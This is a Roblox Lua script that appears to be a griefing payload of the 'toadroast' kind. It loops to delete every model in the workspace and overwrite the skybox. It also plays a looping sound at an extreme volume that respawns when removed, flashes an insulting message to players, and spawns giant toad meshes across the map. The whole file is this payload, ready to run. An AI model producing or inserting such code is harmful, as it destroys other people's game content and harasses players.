wait(1)
math.randomseed(tick() % 1 * 1e6)

sky = coroutine.create(function()
    while wait(0.3) do
        local s = Instance.new("Sky", game.Lighting)
        s.SkyboxBk, s.SkyboxDn, s.SkyboxFt, s.SkyboxLf, s.SkyboxRt, s.SkyboxUp =
            "rbxassetid://201208408",
            "rbxassetid://201208408",
            "rbxassetid://201208408",
            "rbxassetid://201208408",
            "rbxassetid://201208408",
            "rbxassetid://201208408"

        s.CelestialBodiesShown = false
    end
end)

del = coroutine.create(function()
    while wait(0.3) do
        for i, v in pairs(workspace:GetChildren()) do
            if v:IsA("Model") then
                v:Destroy()
            end
        end
    end
end)

sound = coroutine.create(function()
    local a = Instance.new("Sound", workspace)
    a.SoundId = "rbxassetid://79999206651848"
    a.Name = "RAINING MEN"
    a.Volume = 9999999999999999999999999999999999999999999999999999999999
    a.Pitch = 0.22
    a.Looped = true
    a:Play()

    while wait(0.2) do
        if not workspace:FindFirstChild("RAINING MEN") then
            local newSound = Instance.new("Sound", workspace)
            newSound.SoundId = "rbxassetid://79999206651848"
            newSound.Name = "RAINING MEN"
            newSound.Volume = 9999999999999999999999999999999999999999999999999999999999
            newSound.Pitch = 0.22
            newSound.Looped = true
            newSound:Play()
        end
    end
end)

msg = coroutine.create(function()
    while wait(0.4) do
        local m = Instance.new("Message", workspace)
        m.Text = "Get toadroasted you bacon-haired bozos"
        wait(0.4)
        m:Destroy()
    end
end)

rain = coroutine.create(function()
    while wait(0.3) do
        local part = Instance.new("Part", workspace)
        part.Name = "Meshes/toad (3)"
        part.CanCollide = false
        part.Size = Vector3.new(440, 530, 380)
        part.Position = Vector3.new(
            math.random(-3000, 1000),
            math.random(1, 3000),
            math.random(-3000, 3000)
        )

        local mesh = Instance.new("SpecialMesh", part)
        mesh.MeshType = Enum.MeshType.FileMesh
        mesh.MeshId = "rbxassetid://7234998844"
        mesh.TextureId = "rbxassetid://1009824086"
    end
end)

coroutine.resume(sky)
coroutine.resume(del)
coroutine.resume(sound)
coroutine.resume(msg)
coroutine.resume(rain)